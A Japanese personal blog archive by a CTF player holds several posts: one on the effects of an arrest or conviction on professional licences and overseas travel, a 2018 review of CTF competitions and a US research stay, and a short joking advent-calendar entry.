  3. 本当の原案はint03さん (eggpodさん) だったそうです。そこからpotetisenseiがスコアリング方法などを考えた状態で僕のところに持ちかけてきたという形になります。

  4. 気持ち的にはほとんど決めているので、相当な条件じゃないと動かないです。多分

逮捕された場合にできることできないこと

いや~あなたが素直に認めてくれてこっちも助かったよ! プログラミングとかに詳しかったらどうしようかと思っていたけどね

nlab.itmedia.co.jp


最近日本だけでなく世界(?)をも騒がせている兵庫県警の無茶な逮捕劇ですが、ことセキュリティ業界に大きな打撃を与えていることをご存知でしょうか。
セキュリティに関する知見を共有する有名な勉強会であるすみだセキュリティの活動休止 (http://ozuma.sakura.ne.jp/sumida/2019/03/15/77/) をはじめ、詳細な手順を含んだ技術ブログの公開停止など業界全体の萎縮ムードがここ数日で加速しています。僕も自衛のために、公開していた技術系の記事のうち、日本語で書かれておりかつセキュリティに関するものを非公開にしました。
「なにをそんなに神経質になっているんだ」と思う方もいらっしゃるかもしれませんが、逮捕・起訴されてしまってからでは取り返しがつきません。一般的に前科と呼ばれるものは起訴されて有罪判決が下された場合に初めてつくものですが、逮捕された時点で前歴という扱いになります。そのため逮捕されても落ち着いて不起訴になるように動けば良いのですが、前歴というのは印象が悪いです。もし採用に際して「前科・前歴がある場合はあらかじめ申告してください」と言われた場合に、下手に隠すと経歴詐称になります。かといって前歴があることを正直に述べても、何もない人に比べると印象が悪くなるのは避けられないでしょう。いずれにせよ逮捕されないに越したことはありません。

では万が一逮捕されてしまった場合に一体どれほどのリスクがつきまとうのでしょうか?周りからの心証が悪くなるのは言うまでもありませんが、前科がついた場合に制限されるものの代表例としては、資格の取得と渡航があるようです。それぞれについてまとめてみました。

僕は法律に関して一切の素人なので内容については責任を持ちません。あしからず。

資格の制限

起訴および有罪が確定した時に特定の資格を保持している場合、その資格の剥奪・再取得制限がかかる場合があります。

参考: 前科と資格制限 - 【刑事事件専門】渋谷青山刑事法律事務所(東京都渋谷区)

対象資格 資格を制限する刑(とその期間) 効果 資格制限法条
医師 罰金以上の刑 1.免許を与えないことがある
2.免許の取消し又は3年以内の医業の停止の処分をすることができる
医師法
4条3号
7条2項
保健師助産師,看護師,準看護師 罰金以上の刑 1.免許を与えないことがある
2.免許の取消し又は3年以内の業務の停止の処分をすることができる
保健師助産師看護師法
9条1号
14条1項・2項
歯科医師 罰金以上の刑 1.免許を与えないことがある
2.免許の取消し又は3年以内の歯科医業の停止の処分をすることができる
歯科医師
4条3号
7条2項
歯科衛生士 罰金以上の刑 1.免許を与えないことがある
2.免許を取り消し,又は期間を定めて業務の停止を命じることができる
歯科衛生士法
4条1号,8条1項
獣医師 罰金以上の刑 1.免許を与えないことがある
2.免許を取り消し,又は期間を定めて業務の停止を命じることができる
医師法
5条1項3号
8条2項3号
薬剤師 罰金以上の刑 1.免許を与えないことがある
2.免許を取り消し,又は3年以内の業務の停止の処分をすることができる
薬剤師法
5条3号
8条2項2号・3号
学校の校長,教員 禁錮以上の刑 なることができない 学校教育法
9条2号
一般職の国家公務員 禁錮以上の刑(刑執行終了まで) 1.官職に就く能力を有しない
2.受験することができない
3.失職する
国家公務員法
5条3項2号
8条1項1号
38条2号
43条
76条
地方公務員 禁錮以上の刑(刑執行終了まで) 1.職員となり,又は競争試験若しくは選考を受けることができない
2.職を失う
地方公務員法
9条の2,3項,8項
16条2号
28条4項
取締役 会社法331条1項3号
に定める条件
(刑の執行終了後2年)、
それ以外の禁錮以上の刑
(刑執行終了まで)
なることができない 会社法
331条1項3号,4号
公認会計士 公認会計士法4条2号
に定める条件
(刑の執行終了後5年)、
禁錮以上の刑
(刑執行終了後3年)
1.なることができない
2.登録を抹消しなければならない
公認会計士法
4条2号・3号
21条1項3号
16条の2,1項・5項1号
税理士 禁錮以上の刑
(刑執行終了後5年)
国税地方税に関する法令
(3年)
税理士法の罪による罰金の刑
(刑執行終了後3年)
1.資格を有しない
2.登録を抹消しなければならない。
税理士法
4条4号・5号・6号
26条4号
一級建築士 禁錮以上の刑,
建築士法に違反し
又は建築物の建築に関する罪を
犯し罰金の刑
(刑執行終了後5年)
1.免許を与えない
2.免許の必要的取消
建築士法
7条3号・4号
8条の2第3号
9条1項2号・3号
8条1号・2号

定められる罪を犯した場合に、再度資格を得ることができるのかできないのかを一覧にすると以下のようになります。(△は必ずしも取得できるわけではないということを意味します)

資格 再取得の可否
医師
保健師助産師,看護師,準看護師
歯科医師
歯科衛生士
獣医師
薬剤師
学校の校長,教員 ×
一般職の国家公務員 ×
地方公務員 ×
取締役 ×
公認会計士 ×
税理士 ×
一級建築士 ×

意外なことに、医療系の資格は必ず取得を拒否されるわけではありません。一方で教員や公務員、取締役などの資格は禁錮以上の刑を課せられた場合は決められた期間をすぎるまで再取得を拒否されるようです。
なお、他に取得を制限される資格の例としては以下のものがあります。

詳しい条件はそれぞれの資格に関する法に定められていると思いますが、調べるのが面倒なのでここでは割愛します。

渡航に関する制限

エンジニアの皆さんは資格制限よりもこちらの方が困ると思います。前科があるとどのような制限があるのでしょうか。

旅券(パスポート)の発行制限

パスポートの発行に関しては旅券法13条に定められています。このうち、2号および3号には以下のように定められています。

  • 死刑、無期若しくは長期二年以上の刑に当たる罪につき訴追されている者又はこれらの罪を犯した疑いにより逮捕状、勾引状、勾留状若しくは鑑定留置状が発せられている旨が関係機関から外務大臣に通報されている者 (2号)
  • 禁錮以上の刑に処せられ、その執行を終わるまで又は執行を受けることがなくなるまでの者 (3号)

不正指令電磁的記録に関する罪は3年以下の懲役または50万円以下の罰金のため、もし2年以上の刑が課された場合はパスポートが発行できなくなりますし、禁錮以上の刑(禁錮・懲役・死刑)に該当する(刑法9条・10条)ため、最大3年パスポートが発行できないことになります。1

渡航制限

日本は世界中の国と比べると比較的渡航に関する制限が緩く、短期滞在であればほとんどの国にビザ無しで入れるようになっています。しかし、アメリカ・カナダ・オーストラリアにおいてはいかなる場合でも渡航に際して電子渡航認証を事前に取得する必要があり、それぞれESTA, eTA, ETA (ETAs)と呼ばれています。これはそれぞれの国独自の入国許可証みたいなもので、Webから簡単に申請することができます。場合によりますが実際に承認されるのもせいぜい72時間とされており、それほど手間ではありません。

アメリ

アメリカでは逮捕歴があるとビザなし渡航ESTAによる渡航)が許可されておらず、必ず事前にビザの申請を行わなければなりません。ESTAは申請から3日が目安と言われており、申請自体は料金の支払いを含めてWebのみで完結します。しかしビザを取得する場合、種別にもよりますが、必要な書類を用意した上でアメリカ大使館で面接を受け、さらにそこからビザつきパスポートが発送されるまで一週間程度待つ必要があります。例えば「来週アメリカ出張が入った」というケースにおいて、有効なビザを持っていない場合は逮捕歴がある時点で出張をキャンセルしなくてはならないということです。

カナダ

カナダの場合は犯罪歴があってもeTAを申請することができるようですが、実際に承認されるかどうかはカナダ大使館側の判断次第のようです。しかし申請フォームには犯罪歴に関する記入欄があり、正直に申告する必要があります。

オーストラリア

オーストラリアのETA (ETAs) の申請要件には「刑期の合計が12ヶ月を越える有罪判決(実刑・執行猶予に関わらず)を受けていないこと」とあり、一定の犯罪歴があるとビザの申請が必須のようです。しかしオーストラリアの場合、ビザの申請はオンラインで可能で、必要な書類なども電子データによる送付が認められています。ビザの発給までの期間の目安としては一週間とされており、アメリカに比べると比較的手軽にビザを取得することができるようです。

電子渡航認証の申請可否をまとめると以下のようになります。

渡航 逮捕歴有り 犯罪歴有り
アメリ × ×
カナダ △ (拒否される場合もある) △ (拒否される場合もある)
オーストラリア △ (12ヶ月を越える有罪判決を受けていない場合は申請可能) ×

その他のビザ無し入国が可能な国については、特に制限は無いようです(全ての国を詳しく調べたわけではありません)。とはいえ、入国カードに犯罪歴を記入する欄があった場合は正直に書いた方がよいです。後になって詐称が発覚すると、入国審査官に軽く詰め寄られる比ではないトラブルに発展するかもしれません。

その他

nlab.itmedia.co.jp

まぁ懲役3年罰金50万以下なんだけど、あなたは初犯だから略式起訴で罰金30万になるだろうな

とありますが、略式起訴は被疑者の同意無しには成り立たず、同意した場合は罪を認めることになります。略式命令の告知を受けた日から14日以内は正式裁判の請求を行うことができますが、取り下げないで略式手続が成立した場合は有罪が確定するので前科がつきます。早く社会に復帰できる一方で前科がついてしまうので、先にあげたようなデメリットなどをよく考えて、普通の裁判で戦うかどうか決めた方が良いと思います。

まとめ

  • 禁錮以上の刑が課せられると大半の資格が取り消し、再取得可能になるまで時間がかかる
  • 逮捕歴が発生した時点でアメリカへESTA渡航できなくなる
  • 12ヶ月を越える有罪判決を受けるとオーストラリアへETA (ETAs) で渡航できなくなる

世知辛い世の中になってしまいました。TokyoWesternsとしての活動を制限するつもりは全くないですが、しょうもない理由で逮捕されないように気をつけたいですね。

参考文献


  1. 執行猶予がついた場合も刑の執行を保留されているだけで有罪判決を言い渡されたことに変わりはないので、同様に制限されます。

2018年を振り返る

今年もいろいろあったので振り返る。2017年の振り返りはこちら

icchy.hatenablog.jp

昨年に劣らずいろいろなことがあったと思う。昨年同様、メインはCTFでの活動に関する話である。

1月

幸いにも一年前のように病院のベッドの上で年を越してはいなかった。失ってから初めてその重大さに気づくものっていろいろあると思うが、健康なんかはその良い例だと思う。
2017年の12月にYan先生 (a.k.a zardus) がHITCONの帰りがてら日本に遊びに来ていて、そこで留学の誘いを受けていたがまだ決心がついていなかった。1月半ばあたりにメールを出して、親や研究室のボスに相談した後に行く決心を固めたのはここから1週間くらいだったと思う。4月から行く予定だったので時間的にはかなり余裕に見えたが、実際にはApplicationを書いたり、ビザの取得のためのDS2019を用意してもらったりで最終的にすべての用意が整ったときは出発まで1週間を切っていて、かなりギリギリだった。

2月

一応Research Specialistという肩書で大学に雇われるという扱いなので、大学の求人に応募する形でApplicationを書く。どうやら専用の求人を掲載したらしいが、Web上に掲載されるまでかなり時間がかかった。また、Applicationを提出してからAcceptされるまでさらに時間がかかった。実はRejectされるんじゃないか?と内心ヒヤヒヤしていた。
とにかくこの応募手続きでかなり時間がかかって、多分2月の半分くらいこれで溶けた気がする。

3月

正式にOffer letterを受け取ったのでビザを取得するためのDS2019という書類の発行手続きに入る。この書類の発行が結構時間がかかって、向こうから発送したよというメールをもらったのが3/16で受け取ったのが3/19だった。これを待ってからビザを取りに行く準備を始めると明らかに間に合わないので、あらかじめ予約だけ取っておいてDS2019待ち、という状況にしておいた。確かDS2019を受け取った2日後にビザの面接を受けて、その翌日くらいに発送されていたと思うが、受け取るまで少し時間がかかった。
めでたくビザを手に入れてあとは出国だけという状態になったのが確か3/25だったと思う。
留学とはいえ持ち運べる荷物はせいぜいスーツケースとリュックサックが一つずつなので、とにかく必要最低限の物しか入れなかった。

4月

出発直前に0CTF Qualsに出た。オンサイトで集まったこともあって途中までかなり良い感じだったが、予選突破にはあとちょっと足りないという状態で残り30分を迎えて頭を捻っていたところ、奇跡的に解法を思いついて残り5分のところでsubmitした。これが決め手となって決勝の出場権を獲得した。

初めてアメリカを訪れた。インターネットがないと確実に詰むのであらかじめSIMを買っておいたのが良かった。現地の空港について、Airbnbのホストに連絡を入れたところで日付を一日間違えて予約していたことが発覚して危うく初日を野宿で過ごすところだったが、幸いにも前日が空いていたので免れた。
時差ボケが本当にひどくて、一週間くらい夜中の3時に目が覚めて昼間クソ眠いみたいな状態を繰り返していた。 到着後に必要な書類手続き (主に税金関係) が結構面倒で、4月末くらいまでは広い大学構内を練り歩いたりPhoenix社会保障事務所に行ったりしてた。

5月

研究テーマが無事に決まって進め始める。詳しいことは書かないが、先行研究に対してどう改善したかとかではなくて、新しい手法の提案なのでとにかくアイデアと実装が重要だった。

XCTFで良い成績をおさめたチームが招待されるらしい中国の謎CTFに参加した。確かCyber Mimic Defense Contestとかそんな感じの名前だったと思う。 CTFは微妙だったが運よく2位で200万くらいゲットした。(まだ賞金は振り込まれていない)
中国から戻る途中で日本に立ち寄ってDEF CON CTF Qualsに参加した。19位で終わったので今回も無理か…と思ってたらクソ多い枠のおかげで予選通過して微妙な気持ちになったのを今でも覚えている。
月末には0CTF/TCTFに参加するために再度中国へ。会場が深圳だったので香港から陸路入国しようとしてTokyoWesterns全員で彷徨っていた。

6月

気胸じみた痛みが発生して急遽大学の病院にかかる。結果的には気胸ではなかったが、レントゲンを撮って診断を受けただけなのに$166かかった。
Midnight Sun CTF finalsに参加するためにスウェーデンストックホルムへ行く。途中でニューヨークに立ち寄って観光したりした。当たり前なのだがストックホルムはめちゃくちゃ寒くて、アリゾナの気候で感覚が狂っていたのもあってなかなかつらかった。
ちなみに帰りの便が遅延して、経由地であるロンドンに一日とどまる羽目になった。

月末にはGoogle CTF Qualsに参加してなんとか予選を通過した。

7月

WCTFに参加するためまたまた中国へ。途中で日本に数日滞在できる便を運営に取ってもらって、一時帰国中に寿司を食べに行ったりカラオケに行ったりした。WCTFではめちゃくちゃ運が良くて、なんと優勝することができた。 優勝賞金は$50000だったのだが、WCTFの運営はめちゃくちゃ優秀で、税金の分を払ってくれた上に一か月くらいで送金されてきた。どこかのいまだに払ってくれないCTF運営とは大違いである。
余談だが、帰りの飛行機が欠航になってまたしても一日中国に滞在する羽目になった。

月末にCBCTF Qualを開催した。問題は主にbinjaの人が作ったが、CBOJのジャッジシステム部分をスクラッチで書いたり他の問題をレビューしたりした。

8月

初のDEF CON CTF Finalsに参加。ラスベガスでカジノや射撃場に行ったりした。

SCTF finalsに初参加してギリギリ入賞した。ちなみに初めて韓国に行った。
TWCTF 4thを開催する。過去最高のレート97となってPlaidやHITCONとかと並んだ。

9月

CTFの合間を縫って進めていた研究のプロトタイプ実装が完成する。その後議論を経てアーキテクチャの改善などを進めていく。 大体まとまってきたところで一旦プロジェクトから抜けて、続きを日本で進めながら論文化を進めていくことにした。

ISUCON8の予選に参加する。時差が結構つらかったがなんとか予選を突破する。

帰国直前でDragon CTFに参加する。TokyoWesternsのメンバーが全然参加する気がなかったっぽいのでShellphishとして参加したところ、かなり調子が良くてなんと予選1位で通過してポーランドに行くことになった。

10月

情報科学若手の会に参加する。
この辺りの時期からPCをMacから買い替えようと思い始めてXPS15とX1 extremeを無限に比較検討していた。

運が良かったのでISUCON8本戦で優勝する。

icchy.hatenablog.jp

Google CTF Finalsに参加するためロンドンへ行く。終了30分前くらいで思いついた解法が間に合わなくて、1/2くらいflagが出たところで時間切れになった。これが解けていたら多分3位だったっぽくてつらい。

11月

CBCTF finalsを開催する。システムを作るのがとにかくしんどくて、本番も結構燃えた。Ruby書いたこと全然ないのにRailsを使うのはやめたほうが良い。tyageごめん。 打ち上げの後、CBCTFに来てたDragonSectorと0daysoberと一緒にカラオケに行った。 ようやくX1 extremeを購入してDragon CTFに持っていったところ、タイミングよくMBPがCTF前日にディスプレイが映らなくなって、ほとんどセットアップしてないX1 extremeで戦うことになった。これもあと5分くらいのところでsubmitが間に合わなくて入賞を逃した。ShellphishとしてFinalsに行ったのはなかなか貴重な体験だった。

12月

RealWorld CTFに参加するため今年4回目の中国へ。普通に楽しかったし来年もあれば参加したいなあと思うくらいには良いCTFだった。イベントの規模感がとにかくすごくて、会場にはそこら中に武装した警備員がたくさんいた。

年末に35C3 CTFに参加した。filemanagerという問題はXSS Auditorの挙動を逆手に取った情報リークの手法なのだが、あと少しのところで気づかなくて解けなかった。多分これが解けていたらCTF Timeは3位のまま終わってたんじゃないかと思う。p4強いなあ

まとめ

とにかくCTFで旅をしまくった年だった。飛びすぎてJALのステータスがついたが、ほとんど運営の金である。

TokyoWesternsとしてDEFCONに参加できたので去年の目標は達成できたと思う。来年はもっと多くのオンサイトCTFで入賞したい。

来年何するかはちょっといろいろ考えがあるので、2019年のトンカツにご期待下さい。それではよいお年を。

whywaita Advent Calendar 7日目の記事です

この記事は whywaita Advent Calendar 2018 - Adventar 7日目の記事です。

twiterを開くたびに寄稿者を募っているツイートが目に入って、かわいそうだったので書きます。

twitter.com

whywaitaさんといえば、ISUCONで優勝したり、CTFチームTokyoWesternsにも所属していたり、多才な方ですよね。

そんな多才なwhywaitaさんに、ぜひお伝えしたいことがあります。



































問題を解く気がないならSlackチャンネルに入らないでください。賞金を分ける計算が面倒です。 f:id:icchyr:20181207160005p:plain

以上です。来年もよろしくお願いします。